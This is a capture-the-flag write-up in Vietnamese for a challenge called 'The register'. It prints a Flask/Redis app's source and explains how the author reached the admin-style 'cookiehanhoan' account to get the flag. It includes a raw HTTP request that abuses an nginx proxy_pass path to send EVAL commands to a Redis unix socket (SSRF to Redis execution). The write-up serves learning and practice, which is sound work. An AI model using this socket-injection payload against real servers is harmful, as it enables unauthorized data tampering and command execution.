---
# System prepended metadata

title: 'CHH: The register'

---

#

``` 
from flask import Flask, render_template, request, redirect, url_for, session
import redis
import os

app = Flask(__name__)
app.secret_key = os.urandom(24).hex()

db = redis.StrictRedis(host='localhost', port=6379, decode_responses=True)

FLAG = open("/flag.txt", "rb").read().strip()

@app.route('/')
def home():
    return render_template('index.html')

@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']

        # Check if the username is 'admin'
        if username.lower() == 'cookiehanhoan':
            return 'You cannot create a user with the username "cookiehanhoan"!'

        if db.hgetall(username):
            return 'Username already exists!'
        db.hset(username, mapping={'password': password})
        return redirect(url_for('login'))
    return render_template('register.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        user = db.hgetall(username)

        # Check if the username is 'cookiehanhoan'
        if username == 'cookiehanhoan' and user and user['password'] == password:
            session['username'] = username
            return FLAG

        if user and user['password'] == password:
            session['username'] = username
            return redirect(url_for('home'))
        return 'Invalid credentials!'
    return render_template('login.html')

@app.route('/logout')
def logout():
    session.pop('username', None)
    return redirect(url_for('home'))


if __name__ == '__main__':
    app.run("0.0.0.0", 1330)


```
Sơ qua về source code thì chúng ta có hai plugin là register cũng như login, có vẻ đề get được flag thì phải login vào account 'cookiehanhoan'. Theo đó sau khi truyền vào username password, db sẽ được xử lý thông qua ```HSET```
Ex: Nếu ta truyền ```username=guest&password=guest``` thì Redis sẽ xử lý ``` HSET guest password 'guest'```. Cụ thể bạn có thể tìm hiều về HSET https://redis.io/commands/hset/
Ban đầu ý tưởng của mình là sử dụng nosql injection nhằm ghi đè account 'cookiehanhoan' thông qua việc truyền username nhưng có vẻ nó không hiệu quả vì không có cách nào để thoát ra khỏi HSET hoặc mình chưa nghĩ ra :<
![](https://hackmd.io/_uploads/SJYqH5Yb6.png)
Sau khi đọc hint của author mình thử tìm các lỗ hổng Redis SSRF và được một người anh em chỉ điểm thì mình tìm được blog https://www.hackthebox.com/blog/uni-ctf-2022-spell-orsterra-writeup
Hey, 'Redis execution via socket injection', chúng ta có thể thực thi SSRF thông qua endpoint /assets/ vì chúng ta có bypass qua việc sử dụng proxy_pass. Bạn có thể tìm hiểu thêm thông qua https://labs.detectify.com/2021/02/18/middleware-middleware-everywhere-and-lots-of-misconfigurations-to-fix/
```
EVAL /assets/unix:%2frun%2fredis%2fredis.sock:%22return%20redis.call('set','redis_injection',1)%22%200%20/ HTTP/1.1
Host: 127.0.0.1:1337
User-Agent: Mozilla/5.0
Accept: */*


```
![](https://hackmd.io/_uploads/rkKCu9Fbp.png)

Vậy là chúng ta có thể thực hiện RCE thông qua SSRF. Ý tưởng bây giờ là chúng ta có thể ghi lên Redis database account cookiehanhoan và sau đó login vào để lấy flag

![](https://hackmd.io/_uploads/HkMLicYWp.png)

We done !!!